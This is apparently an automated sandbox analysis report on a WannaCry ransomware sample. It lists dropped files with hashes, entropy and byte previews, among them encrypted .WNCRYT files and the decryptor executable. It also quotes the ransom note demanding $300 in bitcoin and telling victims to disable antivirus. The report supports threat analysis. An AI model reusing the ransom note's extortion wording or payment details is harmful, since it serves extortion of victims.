                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....].E.h.5..2..K..../\.#H.#.>..2....~5.^........*.qi...o..+e...#.\.....^.<..I.......j4.}...._`...A.......,\3."...r{..w.i:b)..+....z..U.S....&@.....Rt..._.6...".)B.9=...N.0.......P(.7/..... ..Xn.V...{./..o?.R..b$._q.w..{v([.o.X.....2..T.;&..eCD ..c.............sV...B..Q.F.....Ep..-j.>Y...d'.*7...D......I.....?..Gmh..F...L..3l..wg/`..T"R.#....(.04.LG..CI.Y#M(......%...|.ps....B..}.1q..Q.a5..i..J.U.e...q.7...5.J. <.Ux...8...x...iV.[..<..Z.^+|f\K....c1..+l..x..7.....0:}b..}gD..&..u.=...>!.....d.kk....%-.#qqk..@.X....FA.J2.z..m..+N.|},@........_.)BL...T..K...X?.b....R.K.j...4.n"....=`.ND..V..,.H..yPB.j%Z..?..RT..!xN....L..E\..$Bj.4>..6..._.3......J.../.V7..m/...`Nr.I..d.9...6..;-.O*.R....S.c..U.N.0..%./..zE..e"OOa.Q.`..;.Uu...+R......../vp.,.)74...T....HL...G.X.........1.Eb......Y............hz=...6..A..HS...V.......%y.92...:oo.?..+..k@.......-bs...s..8.LNm.Ew.....b...T.cq..qp0.Y..x.1qZ.Q!..V.$.7E........^S@b8.....&9+.a.wB....C.._.-

                                                                                                                        C:\Users\user\Downloads\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Downloads\@WanaDecryptor@.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):245760
                                                                                                                        Entropy (8bit):6.278920408390635
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                        MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                        SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                        SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Downloads\BNAGMGSPLO.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840789750456964
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkJkfhciAwPq6CN5V4IVlY9zPEDH6ComD/Dru+xifpenfHNjq:bkJkfhcxwPJcpVGdPEL6RmrfkfUtjq
                                                                                                                        MD5:7430ABFF9632E6D37CF44353EBE0351A
                                                                                                                        SHA1:9D924B62182C2DE3403B798FEE24E1E753E0BB66
                                                                                                                        SHA-256:74F57656F894275BC9D81EB0F18112680C95FCF1B68CFAD257DC01E32D2A913F
                                                                                                                        SHA-512:65B9B74D933DDA5EFE2C59512EA38AB119507557F3C4CBA5FEDBDBD9A1C5E40669254E841D888DF66EFCCB3771F9A509C3853D51AC4B3CBD96CD4479A19E36D3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....c..R8s..|.z .n..:..&b..vL..j....l..h\.2...J..Q.......1....!Rn...|.=f.'p..P ...|{..~.U(k..&G|U..,.......e..T...k~o..S..p....Q....}._4a........s....e.....;..m`_Q.s....,f..M.".@.s].".:...h/BF...>...r..z}.|.....x.....;._..(...i..O.m........<.;i...U............../..R....J..`....M..../..w..:i.'Z'&..+..q.4Cf.|..%...w..;h.x...T....'....4...@A_H......3..ZJ..@W..oJx..>.........._...M$..0..........(/h..Xf"...2....sZ..F.$.q..&.1~6.....F......c..p.$...."o.h4.......1.2.5.tU.tEP.^....Kf.N.b.n...ap....1..'.......3.;Y.O....9n..N...C.C!'w..`...O~...Q.i%`i.=....l."........6...H.M..0.l..r6..9,)G..ql..6.."..0{..q..<9Byj..L.l.R..(nHv.:..uPt..+F."HJW.M....}...[..G..Z.t...V.H.{...tV.....V.y.W.....Uo..B...X$..yk:.'......d..Y|.....\X^..).^8M.c...Ef....4...u1a}.2|.h..5..EWT...dc$.F...tI.z.....K}!Iq..].k..c...t..6E.M...s...uJ.....s4........2'HT....Q...........Kn.q....=.C....o.f..O.>.|....N....$.........l..I...A)..f.....S...snPw.J....6.H.._KG6;.x.

                                                                                                                        C:\Users\user\Downloads\GAOBCVIQIJ.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.862770490853504
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkfs6KzULTj/HrwO+dkTxmst/RMCoO46ZKCgr5SQGEqc/C3H3UIQVM3ujjw+d76L:bkf/KzULTDAkTxz5oO46ZPYbzg3UIQqr
                                                                                                                        MD5:4ADB34CCF2CBC889689CBE9F9D875649
                                                                                                                        SHA1:9B9D56B8B6B80024C4805240AFC76EEDC4CEEFD6
                                                                                                                        SHA-256:DCE4A53B24A405E978624D243E6A72B634FC82F82BC40480EBE2B568DB286994
                                                                                                                        SHA-512:12E26D653EED8088438B81296C8215003A8F24AC852FBD93DBB6A80EDABF7C9E10615DE299C047B7C7F09D08EEF33FB85C27EFF1D2B63F98AE7CA7B329A1AC8F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....3w|..P....r<t..!...........\.WXJ...#.tm~n. ....+._...R.w...uv..5...$......q.|..1....X.....5..tD......YeQQ.~.M..X.V..f._..C.......3...z"gg.....M*)......2........R(g.y....Y....oW.F.!&...'.d..d..9......m.....S#..MI..5*.....Y..2E.v|!.<qJ........S/..................@..9H..L.m.M...x:....x?...7.. ...wS."p..)..w.....O.......n.=..%.u..7..........2..=.]N..Rm...n..>;..r9..5..D5...@.(J]...i.xs..Y.mR..N.B.[...E....m.......H.L;..6........U/.........t.d.)...a.......<$.},.....K.....&T]...A.AyI..h...s_T..M.O.l...`9]{...g#..l.A..\.R.g.).y'........>~.....6;.0"r5...&......zbN<G...&.....z..f.b...a.gg..$....H..ac,.....u....+.2ru..T...%Y..|..=.u1..}...TrE-r...=N%L....5.eR>..$._K.*x./....P..Xc.u7..BYEnm~>...8_..N....h.UH......c..<)>.^p.l..{..S;....@..q.d...u....va...v..%&...Jz...z ;...f.A.Sw.~.......ei2@...#...{.<X(_...B`1.....3....g.EN..Mw.C.C..t......(.1..).#.E.2.h.......j..B.n.....t...c.v.G...w.......:.].....^i.....a.b.1!P..`.O.5u..t.......O

                                                                                                                        C:\Users\user\Downloads\GAOBCVIQIJ.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.838042495433494
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bktgkwSnr9zapTyCBphAalFswvpCZLbX5XKrQauZBOxD98e7cqB5QZDS+yejc3Vf:bkm4eTyCBzn8vlKxuCxOe7TBEePl
                                                                                                                        MD5:3DD75628400238901EC4FDE9692302AA
                                                                                                                        SHA1:03F988A50986CBFCE22CC39BC04A1F00C31EC1D6
                                                                                                                        SHA-256:50A4A5A45819217A128CCE954D0D90478F5ACA3514B8BFA455ADF635C4B38EE5
                                                                                                                        SHA-512:ABF6864D54741178A94819BC6A58C8C65B2266998C45F52EA68B4681CA7B4618DC2F1157181306E73CAA43C841C0FDB9CE36616150F2FCB52357D427A5F475CA
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......R...>].../3.a.r|....._..7..!.i0..R[r..ZD{.;:.S.N..'p......X..FI..>[...".H..{.ko1..:*.i...ZvMo..3Q...-..,A4.fF.b...K=.(..O2..R.v......$..e.]c5.....g.'.W&......,c.......Hy...3M..c...k..T. .q*,.iT. ...L...%*.2.b.vY6...0%...........$}.....k.9.................AA.7...l.E.i.....;W.z....T/%.U..*..^.......+...K....."..0.gNac.*.A,.l%....L..C.Y......v...]...{..NF~..??(O.@Z.uZw.,..[2N....\..O_*..((*nk..x`....[......3...!..t=.....%p.%.Yso.=TY}......6.{..[.7:........e.1+P.y.......qX.V.~.`..(..U.{.,..q.........\Dz,c.T.......".8..V.......n.wA.8..J....=. .C......4...,....@.j.....hM'D.t=+|v......5.~U..bx..g...W/...6..IX...g$.,z.#..,.&...]P|.=...zr..r..#.E...}/..R2...q.4.f.0m.z;b...O...!...N+....H..e.=..lv.....)%2.Q.fa.Z.Z..g!.*....a...V...p.f.xeZ...$.;......qH}.s.....ka(.|.....1.%...&gs&."*4.....Vg.h.9hv...T.........[.Yh....n~./M....S?G.....&...KA.Q..H....w.IE.-.V..Z9.6<..I.PT.e...).s..k....e..;.......N...H.....}..J+....C......{.c...i..T./.....N..U

                                                                                                                        C:\Users\user\Downloads\IPKGELNTQY.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842956825271187
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk1Hwzur+fWlDX8RMhAPbRc3ukN5LucgJIpzfe2IChwr+l/smSN4y3:bk1A4lL8RMhebm3hNtucg2pzf5ICtsmS
                                                                                                                        MD5:6EA0856344C1333561CED537A82776FE
                                                                                                                        SHA1:D59F689512A172200D8084B93B5101BF5DF42580
                                                                                                                        SHA-256:A16F7D1F68C5447488862DFB92D4B466B03F651B31DB57EA8B6680F5A741EB99
                                                                                                                        SHA-512:314E1E246EC2BD949E248B6C61849E88C077F0E78A2EF579E538B1DBB41CD5FE1F0B8B3A0F9638294CB5EC35E8078B0318F2393111F5925CEE9638CE9B6DC198
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......].>.i..Z.Z.p..C....M.....9.MJn.dX.E.....D.h3...kW.8.?Z2..............8XpV.......T.3..6....|.d#XAZ6..2.i..O.L.!.5=f..b.J.k.fB.G;K..*.S.Oc....w..-.<x\....2~...s..".7..Z..A(&f.<.~.]....=5^x!?...J..-N..g......_5...v.K.n./.h.0..v.Y.D>4.....On............N..... .Jy$....4..3]v..f....Wtt..?.....D=.0%......q3^..P@d...l.o. .+..$F..-.e..A.".c...k{.rR...#........uF.ri@..$...6.l......S...R.q(..~...8...1..........D......2.1+dd.4.L.f3~X..;xc...F...4D...v.Cpt......^.v=......j...._.a...'].j.6..Q(...?u...h.*..B............D..;...Yb..No...I...7~....N..,L.@.~..|....v...bQ...YEj....dt!.C.X>...<... uS..7.f.j....$.<Hy.A.k....j=d-.)L.-..s..Ld0.oa.....x.....U7.n$o.#..'ZW5.R.....Q.T0..I...7.....<.X4.."C..\....f*...!.4e...?U&..N.`.I.......R6`i8..R....U..[.N...R.Z.@...F.A..$..O.w.q.2......8l...|....%!MV".,.-.$d..|...%.Ob...[&....e....,.L..k^Z.GP..&.=.h...@]s,..x.......Gy.?(..2...:...w..(...xU....p.!.....P{5.&..F.....e.....i.eA}.(.*.S0+.d..X..

                                                                                                                        C:\Users\user\Downloads\LSBIHQFDVT.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.853947870038306
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk1TTkRyIIWwatI/Ld6CqJE/N5WDMfSeb4QfgM7fgLN93sxXRPwc:bk1Tgw7zM/ONcW7fFgLX3sxZwc
                                                                                                                        MD5:128336E5304824B98A428ECD7CE7F47B
                                                                                                                        SHA1:91D0BE5704E0E5821595D494E2008A1B2FB476B7
                                                                                                                        SHA-256:F31CE93D9BE3233601A03C8DEC51B219FAB7B2EA3D25E497722F970CB5CD9A3F
                                                                                                                        SHA-512:AE3C8D9080412C0CED044A0003AA9EADAA03B470B0D0C4828CF422976E34C6D6C21EDD8B8473D35AEEB71596D78D0190B54F8270D44283F4E11E23D68C75C4DF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......+8N..j=.....}..3..yR....!.tU.v.....hf.\....E....8.Y0.(..Wj.E ...M..o.m..^....%uy._BRX ..GK.!..vD...Y..L4.,.....8..42..,J{.&...Lv.Tb.14..B...X.Tn.|%..p.6...PC...*..#.......V.p..r..0.7.>.I....A. ..sj.-..Z.|...pgheK...h.j......&".6,..-D.`."'................QC.f.8.A..6;......,?..R.GjJb\....5em..MU. 18@....h.M...3..M......G9@Y..'............ ...Z..v.x...7.<.2...]>.......n...."..s.6Xq.Q.......h..q.........D.M.P........X.......#j...YJ.)...V.bZ ./..Q....5j&........S.%'...]...,fc6.j...R.......=DcLf..gS..;.z....yk>..9...3....Pd..n.zl...y.......rB.;j.l..D. .k.%.A$..%)....B..R:[...1.. %~.-,....}..:t.Md....e...(Fq..B....r...............nh...k.*t.p.o..@5.M..DV)..~..).Z.l.N...{......8g..i.....)...1.i.Z.....]..6QNX...W_i..M/.....(.........x.(.t....0.....W.2.......:..d...B.)w:.{...7....&.{..[..m.!....`..e)...PGM.=.q.L...D..../..2.wl%q.5g..u...s+.I5.t.yu<..W....17..H...L.I...L.I.[...4...v......+.F2....R..b...G...Vj....)&k...vv....V..J.f.6...>.~

                                                                                                                        C:\Users\user\Downloads\MXPXCVPDVN.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.853861424875276
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkSx6G1yMwqso7MM9rxWvPAg8AlWUN73RTfbMnYhlrGQ3bUIJKYHWZCVYxKP:bkw6Gydql7MM9VQJ7RMnYhLUsKQLfP
                                                                                                                        MD5:C9C16F02DEABE2AE3B88FE246FB29315
                                                                                                                        SHA1:12C4BB0B4999F272D32C533C1E0DA3D3D5D32A5F
                                                                                                                        SHA-256:95CF9C800949637D855DAEAA6EAC8CE97141E4F83A636E16A878FF91A5496650
                                                                                                                        SHA-512:5EAAB686FBF4EA1728578E3B06972D53D436F5BE8B253C9322A4404572372CD32446007CAACC1D1A5C246C1AE46CD9B40DF8A3BB50C7E6F91189EBC0E4D44B00
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....A..I).xOg.P.P..x..z.B._p...G.+?d.jTy.V}.O.I.l...:...B.....~ .1...W.0..a.N.....:fI..`.FBp5..3u...=..A.}3.'-!..z.9.f)X.0..:w.<...9.U.rZ.....4#.=%}.@...^F...8.2S5^y.(.n.e....)'.+....aS.k..0.G......[.T...d\[.F[3......7W^7..<.6.-..mp.....P.K../lo8...PI.............e..y.v@.TX.9+.t...s.....u.."F........X.t.N=...-k..$......G.....;9......Y..H...~...f.3..Gc..F.T..r.&.B}.OC...{3... ....~..A...D?..kW..=...............=.k.;.6...n{#.J..!.....1./k.fq.MB..uT..)i..'.d.....$4.Y?..Yv.%.Z..)J%h$.. ...o...R........a.......=or...f?G.4.#...C.^..F.+.......$........D...v.uY..(J..........zq.('5X>r\X.zY.\.7-...>&-....x...\..9#....r8.T*"...\.4#...5}.S^.t....}....).G... .O..n.M.6".Q.....]..].GA.....M\@....6..=..2,.....g.`..9F.zKK..j.-]....m.u.R..Xq}.Vm|.n......P.2w.....Y.:.).}...o.T9O.........]..im..H..1O.4*O.G!W..`...UQ.'.>...bN^.Y..``1.1.5..F..Q....l....HcZ.\h~lT.Q$W;....... .x..4.;:..b".TJ z^9.?4.Du.O....J..j.../)h.ZW......pg..Q.d..X..s<.K...%...U....?N!

                                                                                                                        C:\Users\user\Downloads\MXPXCVPDVN.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.858695780986104
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkZt0luD176eedpjWV3cTkCgRIfbMfkCjxbMcJHMdqBKASM0eny:bkZt/1o03NC4f5lHwe/SMVy
                                                                                                                        MD5:292241635127B6CB00911FA981029268
                                                                                                                        SHA1:12DCDBB8F00342406EE317CCFCB8499F454C4F57
                                                                                                                        SHA-256:6A6F421A03BE1277A9278E0268AD7014B8836ED1F4255E36DED561CF526DF629
                                                                                                                        SHA-512:75DE25058520520627EFF8FEF00C8B64EB60FA4D919C52B4DE19311D33813F1789D60E18680D857A4C3ADC58377A0ABF2C15ED5F419DAF9DC8BB2B770C41D29F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......Cr4.....D..I..W~d,7.-c4..]_.....l..Q....!..S.....u.=.n}.q.ow2.{..V6.4pq(2|..M#..&14.e\W......\,{....:H.3E... .N.:v..Q8...H.p.......oG....K.`...[....7.7....Fi...S..W.+t..P)$9.ci..-.....X..a..v.t.w.T>.S....,..u..:....4..3*..q...h..v...s........'f9..............AJ...NN4._a..}..6/nWPx.N.....Dh.K.s3!a.. .._>..5.....d<..p...iK...o.#....'.E..........C.r..........N...e.2.<.r-k]..i...AZY..p..$...^.;.Y.JKd..l@..R=.j....3.e.....-.<.H...J^.....>l.$./..z......s.9..I8.5.9.../s....i.#.8.!.....>...g.....B.OU.:........W......L..(h..v..m.y..2....I7G..S...~...Fw.>....c.!...z4.....I...l..0&...^$.b.U..n...b..#....S.#~[.P...4..!....T.....Y..YI.]..>x$....x....]....!s&.$....v5=y...h....dk.i.H..D.i.....s..a....5M..(..i.3T..{..>....E;y.lc.?....7.<.K.P..TV}n...u..m.[....+.Z.X..}.{).q....?.&0.....3?K.w.N.IUwN~;...>.,.5....E.+..S.'*...N....V....G.E.4. ...2wF.dz...>.|HsMH..%...E..e....|..-..........+o.....J...t......VE[.'... ..^.....G..O..=A,.d}t.e=q.0..-....K

                                                                                                                        C:\Users\user\Downloads\MXPXCVPDVN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8390762086828945
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bklXOpkKN3PvUhII1BmiU4fj3I3uNVHEQ6bumK9CWxxYRhrWmCIlhC6SvnMPO1Q:bklXNKNGIG24fVVHb66mKf6LLD2CP
                                                                                                                        MD5:2340F6E87965689DB9E46487FBF3A1D7
                                                                                                                        SHA1:095D0D46F67337ED086E7F6B37B72052B9089236
                                                                                                                        SHA-256:E17A5CFC6CFE8B8035A6A9B47C1A6016E007E024324D694B44D7B01139F9A0B6
                                                                                                                        SHA-512:B21F6FE42F2B3FE6EBBD1D8ED948FCA0E4D122448F2953B378F8AEF8F392B40BDF92497000173995E82F80FB04B2BFD3BBCAB3183ECC09BBA86F00740F5DCF81
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....c..%...pk0...(r5.~h<.,.J.....m....^.C....*.....H.*H.jgS....VV.N.9.@.r(..&.X.@k..Y*>L{.a...#Q<:."X..C.7...~..P.eTR.l...w..N. .E.............Q.u.L.....+.....N.....K.i.!.^...=...s.....#M..'.....OM...a.k~.....E.._5...#...g....>.c.....W.{. .h..............|?..X..i..z.....2...N.*.v X...n.xj),...4.....0..vN...#...8.5V.(<.#.*z..p..C...Y_.T..=.......O.eus.,..n....B`.B.@,$........1..p...3h.s.D7.....$.0.].Q.YE l..d%..C.Yc.*..t...S.(.#a(..J.\.P.)AP..f~..c.V....g.............."f.../....C....w.....$*K..{..3.......7B...Y.r<-...eG.yj..E^S....EI.3.,..[.{.\.{..Y....V.Rt.P......:X..D.2..#..u3\.(.&I.U....)...IV.U..Y..-b..^V..:...lR.d..V......X.....@X..B..&6"..X3i.C)<.UH...s....%..A.).....'......E/..x..)......6.q.[.%)..AIZ....@7..W.R#...C.....m...zo!..z.S..&........l~I..L.l\s.@...qL.c~0.c.*.}."...+....IG1:#.c;._...J1.e...n}.q...fj(a..97..d....y.IL.1.......u...2.s...&./.+.B..F.,.#|>..S0....M..kR.S..n.Z...8V.<...n....Y..y...U"..s,.j+....]F.N;...`....

                                                                                                                        C:\Users\user\Downloads\NEBFQQYWPS.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.834268650316136
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkuz8uU0C4f56X9Bv8rK1SxFH2ASp5dNMgRizl1nBsP1jTvd1t3Qm:bku5C4gX/6K1SHK7dNHArnBm9lQm
                                                                                                                        MD5:F37A4DBA61079EE467D624E439456AC0
                                                                                                                        SHA1:1DBD9D9B2B5BFA127F4B93BF3699C17FF85AE67C
                                                                                                                        SHA-256:A2E80F3759246453FA56E59810C6D7CD9234FFFC2A1F67F49612E38D39AFC91F
                                                                                                                        SHA-512:72DCEB3857CDE2B580B96F2A3940244A905BADC8B29B76EDD111CF6A0579BDDBFCBC8F23BD62E81D71FC4190F62CB2EF73CC027BFA2CE81620DDA3C6514A1E7E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......3.b...+..S.Y$..}/.l'.c.A.y..4..M\...Cf...G.5[.+......9//._...9k.....DF.6.t..6.k.')9....I8...A..lN.E6...._-....X.Tf,..J#.>..T.9.B...p.Z...X?.....H-...4.5...z.4.]V...."h.Y./.:3....x.f..............D.n....."E#...,...O*...x)..+.$U.yo.......s..HW............MA.!..g.u..UdB3..PaEt...Y...8.[.....\.h....Kn...t......3#.x+..f...^5+pf>wi..*=..w...~.wQ;...qT.E[..!....h....:.....g{.@..E.;.c9....C..Y\..o....U.32i.. R.h..,.0...............m..8N..:.?.P.o..s.c..e..v.. *_.X.=.PA...m..S..RH`K'S..L..K.D.w..#..:K...K.i...l.*.bk..G....._.KyB...k.r...|....R.e....6~m|%.`-U.`..)........B.T.n.].K.^z..L..7C....:&..T..... :...n..N......C.VYo.....wi...Z.K.1...3.......l.w..3 ..]...i...Pq.3...w.6hK.S..I5....0C.i......!z.....&.qi..F...C_v.^[..a...`.,.6.\.*.......+hu.....=..4.&.C.K.i*.T+.AO.%_.9.e...).!.P.$......n.8.K.;...w..Uf...g."m.......c..O....',..}.4M6I.k....=.......+.T..syK..hK...v..T..........yJq.....d.....].....%..B.B..+%.0,l..f...f|#.t.QK..}....7.(.k.

                                                                                                                        C:\Users\user\Downloads\PWCCAWLGRE.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8450954168367275
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3o1GeYYjCODDEAK3q3b0WLtap8CIh0K70RJL5khTtWQRaxkbmw:bk3wGeFjCQEAK3q3bpap8b0y0y5k+aUZ
                                                                                                                        MD5:8830961DB077264E53EA9C480F43ED81
                                                                                                                        SHA1:E7ECDD02F5EE2A43162379180AFD3267E68CE607
                                                                                                                        SHA-256:9E8D5D6723A56E84B4A65BE4E40DC6E3356EB4161CEAD986FFE5C8CD4B3ECE7D
                                                                                                                        SHA-512:8FA6E6A452FB3107F48091E82DB2E06640D0BDEF3B7AF6F733F5C26743D437CB805889D8A21E7452D7C7D9D51887BD8F34F65F5D27B75D446B211921979B6496
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....y.3p.F...Kq.....4.Nm......B..P.......l../..#IP[..V..!....._.Hb..U.$.p..N&x..V.E.Fq.X`....Xxj..........`.....a;..R&..HB,.}..3.k_$.........9*..<&>..z>.!:..P..4.OE....9..sm......D....j.43c1...~d.+..V0.R....V...c..._...l....f.X..B1.n......8.D...S9..H..............H...o.....(`E...3B......+...Dg.m.. ..@E.|iO..S..9A.r.*....[?q.. ...E.=7.......,DZ.......3J........t.:...Pa.8f......z!:.z....R."wYPBC....T...T....<..9.=..M......r<...N.SO...2..ZK_......$.=G.U...Pb`e|...kS.id...N.V..BO.v.y..3...$.<[>.]..lCf?.-=L.j... P@h..O..&x..|....dSe......ch.....,S......<..=qKJ..q......'../..9...0B:I}.D...8..W.&..[.....i.%..Z...\7...KU..z.J..~J..K..I.....&@..& .K.QX.8.!...@..f...{.w....@.Q.6V&'L'....Gl.(..E..G...7.....#.(.TB..S...;..q.\.O.............(.....^.c.P.z..*]6..-...~_.\...b.3....ECJ..9k...U...[..\.\T.U..C.JT.E.~...:.......K."....r....o9...HG.Df........4K.\..o...m0...c....L.Z?..~c7.5G}.1!5...`G.........2.9...`.u...............FC.,....!..}5.Fv)

                                                                                                                        C:\Users\user\Downloads\SQRKHNBNYN.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.838780769748978
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkAtdS22AZrgSEnDVLjm7nRHRInKGzgV9szdOKfrFSsfQH/OqESFsyelpQO:bkAtQME9VLjmnJRgGq83H/pqlqO
                                                                                                                        MD5:C3E5D92809E935ACA65A8F7E26CB5A16
                                                                                                                        SHA1:E07C14834B19FEEE8C0309C5B96CBAC315075BF7
                                                                                                                        SHA-256:72DB349EECE432C8D1735CDBD8E2279E44CB05FD9B92DE858D18A745037C81CD
                                                                                                                        SHA-512:42A92F42C79956E9DC103462029EF032C52173A2D3B183EA60D928D1289261BAD7A7A757F8882766AA8DF34A3066CCFC1E7C3BB1B4F7885D47A9AA53DE488CA1
                                                                                                                        Malicious:false
